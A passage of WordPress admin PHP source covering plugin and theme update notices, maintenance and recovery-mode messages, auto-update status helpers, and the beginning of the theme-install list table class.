	if ( ! current_user_can( 'update_plugins' ) ) {
		return;
	}

	$plugins = get_site_transient( 'update_plugins' );

	if ( isset( $plugins->response ) && is_array( $plugins->response ) ) {
		$plugins = array_keys( $plugins->response );

		foreach ( $plugins as $plugin_file ) {
			add_action( "after_plugin_row_{$plugin_file}", 'wp_plugin_update_row', 10, 2 );
		}
	}
}

/**
 * Displays update information for a plugin.
 *
 * @since 2.3.0
 *
 * @param string $file        Plugin basename.
 * @param array  $plugin_data Plugin information.
 * @return void|false
 */
function wp_plugin_update_row( $file, $plugin_data ) {
	$current = get_site_transient( 'update_plugins' );

	if ( ! isset( $current->response[ $file ] ) ) {
		return false;
	}

	$response = $current->response[ $file ];

	$plugins_allowedtags = array(
		'a'       => array(
			'href'  => array(),
			'title' => array(),
		),
		'abbr'    => array( 'title' => array() ),
		'acronym' => array( 'title' => array() ),
		'code'    => array(),
		'em'      => array(),
		'strong'  => array(),
	);

	$plugin_name = wp_kses( $plugin_data['Name'], $plugins_allowedtags );
	$plugin_slug = isset( $response->slug ) ? $response->slug : $response->id;

	if ( isset( $response->slug ) ) {
		$details_url = self_admin_url( 'plugin-install.php?tab=plugin-information&plugin=' . $plugin_slug . '&section=changelog' );
	} elseif ( isset( $response->url ) ) {
		$details_url = $response->url;
	} else {
		$details_url = $plugin_data['PluginURI'];
	}

	$details_url = add_query_arg(
		array(
			'TB_iframe' => 'true',
			'width'     => 600,
			'height'    => 800,
		),
		$details_url
	);

	/** @var WP_Plugins_List_Table $wp_list_table */
	$wp_list_table = _get_list_table(
		'WP_Plugins_List_Table',
		array(
			'screen' => get_current_screen(),
		)
	);

	if ( is_network_admin() || ! is_multisite() ) {
		if ( is_network_admin() ) {
			$active_class = is_plugin_active_for_network( $file ) ? ' active' : '';
		} else {
			$active_class = is_plugin_active( $file ) ? ' active' : '';
		}

		$requires_php   = isset( $response->requires_php ) ? $response->requires_php : null;
		$compatible_php = is_php_version_compatible( $requires_php );
		$notice_type    = $compatible_php ? 'notice-warning' : 'notice-error';

		printf(
			'<tr class="plugin-update-tr%s" id="%s" data-slug="%s" data-plugin="%s">' .
			'<td colspan="%s" class="plugin-update colspanchange">' .
			'<div class="update-message notice inline %s notice-alt"><p>',
			$active_class,
			esc_attr( $plugin_slug . '-update' ),
			esc_attr( $plugin_slug ),
			esc_attr( $file ),
			esc_attr( $wp_list_table->get_column_count() ),
			$notice_type
		);

		if ( ! current_user_can( 'update_plugins' ) ) {
			printf(
				/* translators: 1: Plugin name, 2: Details URL, 3: Additional link attributes, 4: Version number. */
				__( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a>.' ),
				$plugin_name,
				esc_url( $details_url ),
				sprintf(
					'class="thickbox open-plugin-details-modal" aria-label="%s"',
					/* translators: 1: Plugin name, 2: Version number. */
					esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $plugin_name, $response->new_version ) )
				),
				esc_attr( $response->new_version )
			);
		} elseif ( empty( $response->package ) ) {
			printf(
				/* translators: 1: Plugin name, 2: Details URL, 3: Additional link attributes, 4: Version number. */
				__( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a>. <em>Automatic update is unavailable for this plugin.</em>' ),
				$plugin_name,
				esc_url( $details_url ),
				sprintf(
					'class="thickbox open-plugin-details-modal" aria-label="%s"',
					/* translators: 1: Plugin name, 2: Version number. */
					esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $plugin_name, $response->new_version ) )
				),
				esc_attr( $response->new_version )
			);
		} else {
			if ( $compatible_php ) {
				printf(
					/* translators: 1: Plugin name, 2: Details URL, 3: Additional link attributes, 4: Version number, 5: Update URL, 6: Additional link attributes. */
					__( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a> or <a href="%5$s" %6$s>update now</a>.' ),
					$plugin_name,
					esc_url( $details_url ),
					sprintf(
						'class="thickbox open-plugin-details-modal" aria-label="%s"',
						/* translators: 1: Plugin name, 2: Version number. */
						esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $plugin_name, $response->new_version ) )
					),
					esc_attr( $response->new_version ),
					wp_nonce_url( self_admin_url( 'update.php?action=upgrade-plugin&plugin=' ) . $file, 'upgrade-plugin_' . $file ),
					sprintf(
						'class="update-link" aria-label="%s"',
						/* translators: %s: Plugin name. */
						esc_attr( sprintf( _x( 'Update %s now', 'plugin' ), $plugin_name ) )
					)
				);
			} else {
				printf(
					/* translators: 1: Plugin name, 2: Details URL, 3: Additional link attributes, 4: Version number 5: URL to Update PHP page. */
					__( 'There is a new version of %1$s available, but it does not work with your version of PHP. <a href="%2$s" %3$s>View version %4$s details</a> or <a href="%5$s">learn more about updating PHP</a>.' ),
					$plugin_name,
					esc_url( $details_url ),
					sprintf(
						'class="thickbox open-plugin-details-modal" aria-label="%s"',
						/* translators: 1: Plugin name, 2: Version number. */
						esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $plugin_name, $response->new_version ) )
					),
					esc_attr( $response->new_version ),
					esc_url( wp_get_update_php_url() )
				);
				wp_update_php_annotation( '<br><em>', '</em>' );
			}
		}

		/**
		 * Fires at the end of the update message container in each
		 * row of the plugins list table.
		 *
		 * The dynamic portion of the hook name, `$file`, refers to the path
		 * of the plugin's primary file relative to the plugins directory.
		 *
		 * @since 2.8.0
		 *
		 * @param array  $plugin_data An array of plugin metadata. See get_plugin_data()
		 *                            and the {@see 'plugin_row_meta'} filter for the list
		 *                            of possible values.
		 * @param object $response {
		 *     An object of metadata about the available plugin update.
		 *
		 *     @type string   $id           Plugin ID, e.g. `w.org/plugins/[plugin-name]`.
		 *     @type string   $slug         Plugin slug.
		 *     @type string   $plugin       Plugin basename.
		 *     @type string   $new_version  New plugin version.
		 *     @type string   $url          Plugin URL.
		 *     @type string   $package      Plugin update package URL.
		 *     @type string[] $icons        An array of plugin icon URLs.
		 *     @type string[] $banners      An array of plugin banner URLs.
		 *     @type string[] $banners_rtl  An array of plugin RTL banner URLs.
		 *     @type string   $requires     The version of WordPress which the plugin requires.
		 *     @type string   $tested       The version of WordPress the plugin is tested against.
		 *     @type string   $requires_php The version of PHP which the plugin requires.
		 * }
		 */
		do_action( "in_plugin_update_message-{$file}", $plugin_data, $response ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

		echo '</p></div></td></tr>';
	}
}

/**
 * Retrieves themes with updates available.
 *
 * @since 2.9.0
 *
 * @return array
 */
function get_theme_updates() {
	$current = get_site_transient( 'update_themes' );

	if ( ! isset( $current->response ) ) {
		return array();
	}

	$update_themes = array();

	foreach ( $current->response as $stylesheet => $data ) {
		$update_themes[ $stylesheet ]         = wp_get_theme( $stylesheet );
		$update_themes[ $stylesheet ]->update = $data;
	}

	return $update_themes;
}

/**
 * Adds a callback to display update information for themes with updates available.
 *
 * @since 3.1.0
 */
function wp_theme_update_rows() {
	if ( ! current_user_can( 'update_themes' ) ) {
		return;
	}

	$themes = get_site_transient( 'update_themes' );

	if ( isset( $themes->response ) && is_array( $themes->response ) ) {
		$themes = array_keys( $themes->response );

		foreach ( $themes as $theme ) {
			add_action( "after_theme_row_{$theme}", 'wp_theme_update_row', 10, 2 );
		}
	}
}

/**
 * Displays update information for a theme.
 *
 * @since 3.1.0
 *
 * @param string   $theme_key Theme stylesheet.
 * @param WP_Theme $theme     Theme object.
 * @return void|false
 */
function wp_theme_update_row( $theme_key, $theme ) {
	$current = get_site_transient( 'update_themes' );

	if ( ! isset( $current->response[ $theme_key ] ) ) {
		return false;
	}

	$response = $current->response[ $theme_key ];

	$details_url = add_query_arg(
		array(
			'TB_iframe' => 'true',
			'width'     => 1024,
			'height'    => 800,
		),
		$current->response[ $theme_key ]['url']
	);

	/** @var WP_MS_Themes_List_Table $wp_list_table */
	$wp_list_table = _get_list_table( 'WP_MS_Themes_List_Table' );

	$active = $theme->is_allowed( 'network' ) ? ' active' : '';

	$requires_wp  = isset( $response['requires'] ) ? $response['requires'] : null;
	$requires_php = isset( $response['requires_php'] ) ? $response['requires_php'] : null;

	$compatible_wp  = is_wp_version_compatible( $requires_wp );
	$compatible_php = is_php_version_compatible( $requires_php );

	printf(
		'<tr class="plugin-update-tr%s" id="%s" data-slug="%s">' .
		'<td colspan="%s" class="plugin-update colspanchange">' .
		'<div class="update-message notice inline notice-warning notice-alt"><p>',
		$active,
		esc_attr( $theme->get_stylesheet() . '-update' ),
		esc_attr( $theme->get_stylesheet() ),
		$wp_list_table->get_column_count()
	);

	if ( $compatible_wp && $compatible_php ) {
		if ( ! current_user_can( 'update_themes' ) ) {
			printf(
				/* translators: 1: Theme name, 2: Details URL, 3: Additional link attributes, 4: Version number. */
				__( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a>.' ),
				$theme['Name'],
				esc_url( $details_url ),
				sprintf(
					'class="thickbox open-plugin-details-modal" aria-label="%s"',
					/* translators: 1: Theme name, 2: Version number. */
					esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $theme['Name'], $response['new_version'] ) )
				),
				$response['new_version']
			);
		} elseif ( empty( $response['package'] ) ) {
			printf(
				/* translators: 1: Theme name, 2: Details URL, 3: Additional link attributes, 4: Version number. */
				__( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a>. <em>Automatic update is unavailable for this theme.</em>' ),
				$theme['Name'],
				esc_url( $details_url ),
				sprintf(
					'class="thickbox open-plugin-details-modal" aria-label="%s"',
					/* translators: 1: Theme name, 2: Version number. */
					esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $theme['Name'], $response['new_version'] ) )
				),
				$response['new_version']
			);
		} else {
			printf(
				/* translators: 1: Theme name, 2: Details URL, 3: Additional link attributes, 4: Version number, 5: Update URL, 6: Additional link attributes. */
				__( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a> or <a href="%5$s" %6$s>update now</a>.' ),
				$theme['Name'],
				esc_url( $details_url ),
				sprintf(
					'class="thickbox open-plugin-details-modal" aria-label="%s"',
					/* translators: 1: Theme name, 2: Version number. */
					esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $theme['Name'], $response['new_version'] ) )
				),
				$response['new_version'],
				wp_nonce_url( self_admin_url( 'update.php?action=upgrade-theme&theme=' ) . $theme_key, 'upgrade-theme_' . $theme_key ),
				sprintf(
					'class="update-link" aria-label="%s"',
					/* translators: %s: Theme name. */
					esc_attr( sprintf( _x( 'Update %s now', 'theme' ), $theme['Name'] ) )
				)
			);
		}
	} else {
		if ( ! $compatible_wp && ! $compatible_php ) {
			printf(
				/* translators: %s: Theme name. */
				__( 'There is a new version of %s available, but it does not work with your versions of WordPress and PHP.' ),
				$theme['Name']
			);
			if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
				printf(
					/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
					' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
					self_admin_url( 'update-core.php' ),
					esc_url( wp_get_update_php_url() )
				);
				wp_update_php_annotation( '</p><p><em>', '</em>' );
			} elseif ( current_user_can( 'update_core' ) ) {
				printf(
					/* translators: %s: URL to WordPress Updates screen. */
					' ' . __( '<a href="%s">Please update WordPress</a>.' ),
					self_admin_url( 'update-core.php' )
				);
			} elseif ( current_user_can( 'update_php' ) ) {
				printf(
					/* translators: %s: URL to Update PHP page. */
					' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
					esc_url( wp_get_update_php_url() )
				);
				wp_update_php_annotation( '</p><p><em>', '</em>' );
			}
		} elseif ( ! $compatible_wp ) {
			printf(
				/* translators: %s: Theme name. */
				__( 'There is a new version of %s available, but it does not work with your version of WordPress.' ),
				$theme['Name']
			);
			if ( current_user_can( 'update_core' ) ) {
				printf(
					/* translators: %s: URL to WordPress Updates screen. */
					' ' . __( '<a href="%s">Please update WordPress</a>.' ),
					self_admin_url( 'update-core.php' )
				);
			}
		} elseif ( ! $compatible_php ) {
			printf(
				/* translators: %s: Theme name. */
				__( 'There is a new version of %s available, but it does not work with your version of PHP.' ),
				$theme['Name']
			);
			if ( current_user_can( 'update_php' ) ) {
				printf(
					/* translators: %s: URL to Update PHP page. */
					' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
					esc_url( wp_get_update_php_url() )
				);
				wp_update_php_annotation( '</p><p><em>', '</em>' );
			}
		}
	}

	/**
	 * Fires at the end of the update message container in each
	 * row of the themes list table.
	 *
	 * The dynamic portion of the hook name, `$theme_key`, refers to
	 * the theme slug as found in the WordPress.org themes repository.
	 *
	 * @since 3.1.0
	 *
	 * @param WP_Theme $theme    The WP_Theme object.
	 * @param array    $response {
	 *     An array of metadata about the available theme update.
	 *
	 *     @type string $new_version New theme version.
	 *     @type string $url         Theme URL.
	 *     @type string $package     Theme update package URL.
	 * }
	 */
	do_action( "in_theme_update_message-{$theme_key}", $theme, $response ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	echo '</p></div></td></tr>';
}

/**
 * Displays maintenance nag HTML message.
 *
 * @since 2.7.0
 *
 * @global int $upgrading
 *
 * @return void|false
 */
function maintenance_nag() {
	// Include an unmodified $wp_version.
	require ABSPATH . WPINC . '/version.php';
	global $upgrading;

	$nag = isset( $upgrading );

	if ( ! $nag ) {
		$failed = get_site_option( 'auto_core_update_failed' );
		/*
		 * If an update failed critically, we may have copied over version.php but not other files.
		 * In that case, if the installation claims we're running the version we attempted, nag.
		 * This is serious enough to err on the side of nagging.
		 *
		 * If we simply failed to update before we tried to copy any files, then assume things are
		 * OK if they are now running the latest.
		 *
		 * This flag is cleared whenever a successful update occurs using Core_Upgrader.
		 */
		$comparison = ! empty( $failed['critical'] ) ? '>=' : '>';
		if ( isset( $failed['attempted'] ) && version_compare( $failed['attempted'], $wp_version, $comparison ) ) {
			$nag = true;
		}
	}

	if ( ! $nag ) {
		return false;
	}

	if ( current_user_can( 'update_core' ) ) {
		$msg = sprintf(
			/* translators: %s: URL to WordPress Updates screen. */
			__( 'An automated WordPress update has failed to complete - <a href="%s">please attempt the update again now</a>.' ),
			'update-core.php'
		);
	} else {
		$msg = __( 'An automated WordPress update has failed to complete! Please notify the site administrator.' );
	}

	wp_admin_notice(
		$msg,
		array(
			'type'               => 'warning',
			'additional_classes' => array( 'update-nag', 'inline' ),
			'paragraph_wrap'     => false,
		)
	);
}

/**
 * Prints the JavaScript templates for update admin notices.
 *
 * @since 4.6.0
 *
 * Template takes one argument with four values:
 *
 *     param {object} data {
 *         Arguments for admin notice.
 *
 *         @type string id        ID of the notice.
 *         @type string className Class names for the notice.
 *         @type string message   The notice's message.
 *         @type string type      The type of update the notice is for. Either 'plugin' or 'theme'.
 *     }
 */
function wp_print_admin_notice_templates() {
	?>
	<script id="tmpl-wp-updates-admin-notice" type="text/html">
		<div <# if ( data.id ) { #>id="{{ data.id }}"<# } #> class="notice {{ data.className }}"><p>{{{ data.message }}}</p></div>
	</script>
	<script id="tmpl-wp-bulk-updates-admin-notice" type="text/html">
		<div id="{{ data.id }}" class="{{ data.className }} notice <# if ( data.errors ) { #>notice-error<# } else { #>notice-success<# } #>">
			<p>
				<# if ( data.successes ) { #>
					<# if ( 1 === data.successes ) { #>
						<# if ( 'plugin' === data.type ) { #>
							<?php
							/* translators: %s: Number of plugins. */
							printf( __( '%s plugin successfully updated.' ), '{{ data.successes }}' );
							?>
						<# } else { #>
							<?php
							/* translators: %s: Number of themes. */
							printf( __( '%s theme successfully updated.' ), '{{ data.successes }}' );
							?>
						<# } #>
					<# } else { #>
						<# if ( 'plugin' === data.type ) { #>
							<?php
							/* translators: %s: Number of plugins. */
							printf( __( '%s plugins successfully updated.' ), '{{ data.successes }}' );
							?>
						<# } else { #>
							<?php
							/* translators: %s: Number of themes. */
							printf( __( '%s themes successfully updated.' ), '{{ data.successes }}' );
							?>
						<# } #>
					<# } #>
				<# } #>
				<# if ( data.errors ) { #>
					<button class="button-link bulk-action-errors-collapsed" aria-expanded="false">
						<# if ( 1 === data.errors ) { #>
							<?php
							/* translators: %s: Number of failed updates. */
							printf( __( '%s update failed.' ), '{{ data.errors }}' );
							?>
						<# } else { #>
							<?php
							/* translators: %s: Number of failed updates. */
							printf( __( '%s updates failed.' ), '{{ data.errors }}' );
							?>
						<# } #>
						<span class="screen-reader-text">
							<?php
							/* translators: Hidden accessibility text. */
							_e( 'Show more details' );
							?>
						</span>
						<span class="toggle-indicator" aria-hidden="true"></span>
					</button>
				<# } #>
			</p>
			<# if ( data.errors ) { #>
				<ul class="bulk-action-errors hidden">
					<# _.each( data.errorMessages, function( errorMessage ) { #>
						<li>{{ errorMessage }}</li>
					<# } ); #>
				</ul>
			<# } #>
		</div>
	</script>
	<?php
}

/**
 * Prints the JavaScript templates for update and deletion rows in list tables.
 *
 * @since 4.6.0
 *
 * The update template takes one argument with four values:
 *
 *     param {object} data {
 *         Arguments for the update row
 *
 *         @type string slug    Plugin slug.
 *         @type string plugin  Plugin base name.
 *         @type string colspan The number of table columns this row spans.
 *         @type string content The row content.
 *     }
 *
 * The delete template takes one argument with four values:
 *
 *     param {object} data {
 *         Arguments for the update row
 *
 *         @type string slug    Plugin slug.
 *         @type string plugin  Plugin base name.
 *         @type string name    Plugin name.
 *         @type string colspan The number of table columns this row spans.
 *     }
 */
function wp_print_update_row_templates() {
	?>
	<script id="tmpl-item-update-row" type="text/template">
		<tr class="plugin-update-tr update" id="{{ data.slug }}-update" data-slug="{{ data.slug }}" <# if ( data.plugin ) { #>data-plugin="{{ data.plugin }}"<# } #>>
			<td colspan="{{ data.colspan }}" class="plugin-update colspanchange">
				{{{ data.content }}}
			</td>
		</tr>
	</script>
	<script id="tmpl-item-deleted-row" type="text/template">
		<tr class="plugin-deleted-tr inactive deleted" id="{{ data.slug }}-deleted" data-slug="{{ data.slug }}" <# if ( data.plugin ) { #>data-plugin="{{ data.plugin }}"<# } #>>
			<td colspan="{{ data.colspan }}" class="plugin-update colspanchange">
				<# if ( data.plugin ) { #>
					<?php
					printf(
						/* translators: %s: Plugin name. */
						_x( '%s was successfully deleted.', 'plugin' ),
						'<strong>{{{ data.name }}}</strong>'
					);
					?>
				<# } else { #>
					<?php
					printf(
						/* translators: %s: Theme name. */
						_x( '%s was successfully deleted.', 'theme' ),
						'<strong>{{{ data.name }}}</strong>'
					);
					?>
				<# } #>
			</td>
		</tr>
	</script>
	<?php
}

/**
 * Displays a notice when the user is in recovery mode.
 *
 * @since 5.2.0
 */
function wp_recovery_mode_nag() {
	if ( ! wp_is_recovery_mode() ) {
		return;
	}

	$url = wp_login_url();
	$url = add_query_arg( 'action', WP_Recovery_Mode::EXIT_ACTION, $url );
	$url = wp_nonce_url( $url, WP_Recovery_Mode::EXIT_ACTION );

	$message = sprintf(
		/* translators: %s: Recovery Mode exit link. */
		__( 'You are in recovery mode. This means there may be an error with a theme or plugin. To exit recovery mode, log out or use the Exit button. <a href="%s">Exit Recovery Mode</a>' ),
		esc_url( $url )
	);
	wp_admin_notice( $message, array( 'type' => 'info' ) );
}

/**
 * Checks whether auto-updates are enabled.
 *
 * @since 5.5.0
 *
 * @param string $type The type of update being checked: Either 'theme' or 'plugin'.
 * @return bool True if auto-updates are enabled for `$type`, false otherwise.
 */
function wp_is_auto_update_enabled_for_type( $type ) {
	if ( ! class_exists( 'WP_Automatic_Updater' ) ) {
		require_once ABSPATH . 'wp-admin/includes/class-wp-automatic-updater.php';
	}

	$updater = new WP_Automatic_Updater();
	$enabled = ! $updater->is_disabled();

	switch ( $type ) {
		case 'plugin':
			/**
			 * Filters whether plugins auto-update is enabled.
			 *
			 * @since 5.5.0
			 *
			 * @param bool $enabled True if plugins auto-update is enabled, false otherwise.
			 */
			return apply_filters( 'plugins_auto_update_enabled', $enabled );
		case 'theme':
			/**
			 * Filters whether themes auto-update is enabled.
			 *
			 * @since 5.5.0
			 *
			 * @param bool $enabled True if themes auto-update is enabled, false otherwise.
			 */
			return apply_filters( 'themes_auto_update_enabled', $enabled );
	}

	return false;
}

/**
 * Checks whether auto-updates are forced for an item.
 *
 * @since 5.6.0
 *
 * @param string    $type   The type of update being checked: Either 'theme' or 'plugin'.
 * @param bool|null $update Whether to update. The value of null is internally used
 *                          to detect whether nothing has hooked into this filter.
 * @param object    $item   The update offer.
 * @return bool True if auto-updates are forced for `$item`, false otherwise.
 */
function wp_is_auto_update_forced_for_item( $type, $update, $item ) {
	/** This filter is documented in wp-admin/includes/class-wp-automatic-updater.php */
	return apply_filters( "auto_update_{$type}", $update, $item );
}

/**
 * Determines the appropriate auto-update message to be displayed.
 *
 * @since 5.5.0
 *
 * @return string The update message to be shown.
 */
function wp_get_auto_update_message() {
	$next_update_time = wp_next_scheduled( 'wp_version_check' );

	// Check if the event exists.
	if ( false === $next_update_time ) {
		$message = __( 'Automatic update not scheduled. There may be a problem with WP-Cron.' );
	} else {
		$time_to_next_update = human_time_diff( (int) $next_update_time );

		// See if cron is overdue.
		$overdue = ( time() - $next_update_time ) > 0;

		if ( $overdue ) {
			$message = sprintf(
				/* translators: %s: Duration that WP-Cron has been overdue. */
				__( 'Automatic update overdue by %s. There may be a problem with WP-Cron.' ),
				$time_to_next_update
			);
		} else {
			$message = sprintf(
				/* translators: %s: Time until the next update. */
				__( 'Automatic update scheduled in %s.' ),
				$time_to_next_update
			);
		}
	}

	return $message;
}
<?php
/**
 * List Table API: WP_Theme_Install_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying themes to install in a list table.
 *
 * @since 3.1.0
 *
 * @see WP_Themes_List_Table
 */
class WP_Theme_Install_List_Table extends WP_Themes_List_Table {

	public $features = array();

	/**
	 * @return bool
	 */
	public function ajax_user_can() {
		return current_user_can( 'install_themes' );
	}

	/**
	 * @global array  $tabs
	 * @global string $tab
	 * @global int    $paged
	 * @global string $type
	 * @global array  $theme_field_defaults
	 */
	public function prepare_items() {
		require ABSPATH . 'wp-admin/includes/theme-install.php';

		global $tabs, $tab, $paged, $type, $theme_field_defaults;
		wp_reset_vars( array( 'tab' ) );

		$search_terms  = array();
		$search_string = '';
		if ( ! empty( $_REQUEST['s'] ) ) {
			$search_string = strtolower( wp_unslash( $_REQUEST['s'] ) );
			$search_terms  = array_unique( array_filter( array_map( 'trim', explode( ',', $search_string ) ) ) );
		}

		if ( ! empty( $_REQUEST['features'] ) ) {
			$this->features = $_REQUEST['features'];
		}

		$paged = $this->get_pagenum();

		$per_page = 36;

		// These are the tabs which are shown on the page,
		$tabs              = array();
		$tabs['dashboard'] = __( 'Search' );
		if ( 'search' === $tab ) {
			$tabs['search'] = __( 'Search Results' );
		}
		$tabs['upload']   = __( 'Upload' );
		$tabs['featured'] = _x( 'Featured', 'themes' );
		//$tabs['popular']  = _x( 'Popular', 'themes' );
		$tabs['new']     = _x( 'Latest', 'themes' );
		$tabs['updated'] = _x( 'Recently Updated', 'themes' );

		$nonmenu_tabs = array( 'theme-information' ); // Valid actions to perform which do not have a Menu item.

		/** This filter is documented in wp-admin/theme-install.php */
		$tabs = apply_filters( 'install_themes_tabs', $tabs );

		/**
		 * Filters tabs not associated with a menu item on the Install Themes screen.
		 *
		 * @since 2.8.0
		 *
		 * @param string[] $nonmenu_tabs The tabs that don't have a menu item on
		 *                               the Install Themes screen.
		 */
		$nonmenu_tabs = apply_filters( 'install_themes_nonmenu_tabs', $nonmenu_tabs );

		// If a non-valid menu tab has been selected, And it's not a non-menu action.
		if ( empty( $tab ) || ( ! isset( $tabs[ $tab ] ) && ! in_array( $tab, (array) $nonmenu_tabs, true ) ) ) {
			$tab = key( $tabs );
		}

		$args = array(
			'page'     => $paged,
			'per_page' => $per_page,
			'fields'   => $theme_field_defaults,
		);

		switch ( $tab ) {
			case 'search':
				$type = isset( $_REQUEST['type'] ) ? wp_unslash( $_REQUEST['type'] ) : 'term';
				switch ( $type ) {
					case 'tag':
						$args['tag'] = array_map( 'sanitize_key', $search_terms );
						break;
					case 'term':
						$args['search'] = $search_string;
						break;
					case 'author':
						$args['author'] = $search_string;
						break;
				}

				if ( ! empty( $this->features ) ) {
					$args['tag']      = $this->features;
					$_REQUEST['s']    = implode( ',', $this->features );
					$_REQUEST['type'] = 'tag';
				}

				add_action( 'install_themes_table_header', 'install_theme_search_form', 10, 0 );
				break;

			case 'featured':
				// case 'popular':
			case 'new':
			case 'updated':
				$args['browse'] = $tab;
				break;

			default:
				$args = false;
				break;
		}

		/**
		 * Filters API request arguments for each Install Themes screen tab.
		 *
		 * The dynamic portion of the hook name, `$tab`, refers to the theme install
		 * tab.
		 *
		 * Possible hook names include:
		 *
		 *  - `install_themes_table_api_args_dashboard`
		 *  - `install_themes_table_api_args_featured`
		 *  - `install_themes_table_api_args_new`
		 *  - `install_themes_table_api_args_search`
		 *  - `install_themes_table_api_args_updated`
		 *  - `install_themes_table_api_args_upload`
		 *
		 * @since 3.7.0
		 *
		 * @param array|false $args Theme install API arguments.
		 */
		$args = apply_filters( "install_themes_table_api_args_{$tab}", $args );

		if ( ! $args ) {
			return;
		}

		$api = themes_api( 'query_themes', $args );

		if ( is_wp_error( $api ) ) {
			wp_die( '<p>' . $api->get_error_message() . '</p> <p><a href="#" onclick="document.location.reload(); return false;">' . __( 'Try Again' ) . '</a></p>' );
		}

		$this->items = $api->themes;

		$this->set_pagination_args(
			array(
				'total_items'     => $api->info['results'],
				'per_page'        => $args['per_page'],
				'infinite_scroll' => true,
			)
		);
	}

	/**
	 */
	public function no_items() {
		_e( 'No themes match your request.' );
	}

	/**
	 * @global array $tabs
	 * @global string $tab
	 * @return array
	 */
	protected function get_views() {
		global $tabs, $tab;

		$display_tabs = array();
		foreach ( (array) $tabs as $action => $text ) {
			$display_tabs[ 'theme-install-' . $action ] = array(
				'url'     => self_admin_url( 'theme-install.php?tab=' . $action ),
				'label'   => $text,
				'current' => $action === $tab,
			);
		}

		return $this->get_views_links( $display_tabs );
	}

	/**
	 * Displays the theme install table.
	 *
	 * Overrides the parent display() method to provide a different container.
	 *
	 * @since 3.1.0
	 */
	public function display() {
		wp_nonce_field( 'fetch-list-' . get_class( $this ), '_ajax_fetch_list_nonce' );
		?>
		<div class="tablenav top themes">
			<div class="alignleft actions">
				<?php
				/**
				 * Fires in the Install Themes list table header.
				 *
				 * @since 2.8.0
				 */
				do_action( 'install_themes_table_header' );
				?>
			</div>
			<?php $this->pagination( 'top' ); ?>
			<br class="clear" />
		</div>

		<div id="availablethemes">
			<?php $this->display_rows_or_placeholder(); ?>
		</div>

		<?php
		$this->tablenav( 'bottom' );
	}

	/**
	 */
	public function display_rows() {
		$themes = $this->items;
		foreach ( $themes as $theme ) {
			?>
				<div class="available-theme installable-theme">
				<?php
					$this->single_row( $theme );
				?>
				</div>
			<?php
		} // End foreach $theme_names.

		$this->theme_installer();
	}

	/**
	 * Prints a theme from the WordPress.org API.
	 *
	 * @since 3.1.0
	 *
	 * @global array $themes_allowedtags
	 *
	 * @param stdClass $theme {
	 *     An object that contains theme data returned by the WordPress.org API.
	 *
	 *     @type string $name           Theme name, e.g. 'Twenty Twenty-One'.
	 *     @type string $slug           Theme slug, e.g. 'twentytwentyone'.
	 *     @type string $version        Theme version, e.g. '1.1'.
	 *     @type string $author         Theme author username, e.g. 'melchoyce'.
	 *     @type string $preview_url    Preview URL, e.g. 'https://2021.wordpress.net/'.
	 *     @type string $screenshot_url Screenshot URL, e.g. 'https://wordpress.org/themes/twentytwentyone/'.
	 *     @type float  $rating         Rating score.
	 *     @type int    $num_ratings    The number of ratings.
	 *     @type string $homepage       Theme homepage, e.g. 'https://wordpress.org/themes/twentytwentyone/'.
	 *     @type string $description    Theme description.
	 *     @type string $download_link  Theme ZIP download URL.
	 * }
	 */
	public function single_row( $theme ) {
		global $themes_allowedtags;

		if ( empty( $theme ) ) {
			return;
		}

		$name   = wp_kses( $theme->name, $themes_allowedtags );
		$author = wp_kses( $theme->author, $themes_allowedtags );

		/* translators: %s: Theme name. */
		$preview_title = sprintf( __( 'Preview &#8220;%s&#8221;' ), $name );
		$preview_url   = add_query_arg(
			array(
				'tab'   => 'theme-information',
				'theme' => $theme->slug,
			),
			self_admin_url( 'theme-install.php' )
		);

		$actions = array();

		$install_url = add_query_arg(
			array(
				'action' => 'install-theme',
				'theme'  => $theme->slug,
			),
			self_admin_url( 'update.php' )
		);

		$update_url = add_query_arg(
			array(
				'action' => 'upgrade-theme',
				'theme'  => $theme->slug,
			),
			self_admin_url( 'update.php' )
		);

		$status = $this->_get_theme_status( $theme );

		switch ( $status ) {
			case 'update_available':
				$actions[] = sprintf(
					'<a class="install-now" href="%s" title="%s">%s</a>',
					esc_url( wp_nonce_url( $update_url, 'upgrade-theme_' . $theme->slug ) ),
					/* translators: %s: Theme version. */
					esc_attr( sprintf( __( 'Update to version %s' ), $theme->version ) ),
					__( 'Update' )
				);
				break;
			case 'newer_installed':
			case 'latest_installed':
				$actions[] = sprintf(
					'<span class="install-now" title="%s">%s</span>',
					esc_attr__( 'This theme is already installed and is up to date' ),
					_x( 'Installed', 'theme' )
				);
				break;
			case 'install':
			default:
				$actions[] = sprintf(
					'<a class="install-now" href="%s" title="%s">%s</a>',
					esc_url( wp_nonce_url( $install_url, 'install-theme_' . $theme->slug ) ),
					/* translators: %s: Theme name. */
					esc_attr( sprintf( _x( 'Install %s', 'theme' ), $name ) ),
					_x( 'Install Now', 'theme' )
				);
				break;
		}

		$actions[] = sprintf(
			'<a class="install-theme-preview" href="%s" title="%s">%s</a>',
			esc_url( $preview_url ),
			/* translators: %s: Theme name. */
			esc_attr( sprintf( __( 'Preview %s' ), $name ) ),
			__( 'Preview' )
		);

		/**
		 * Filters the install action links for a theme in the Install Themes list table.
		 *
		 * @since 3.4.0
		 *
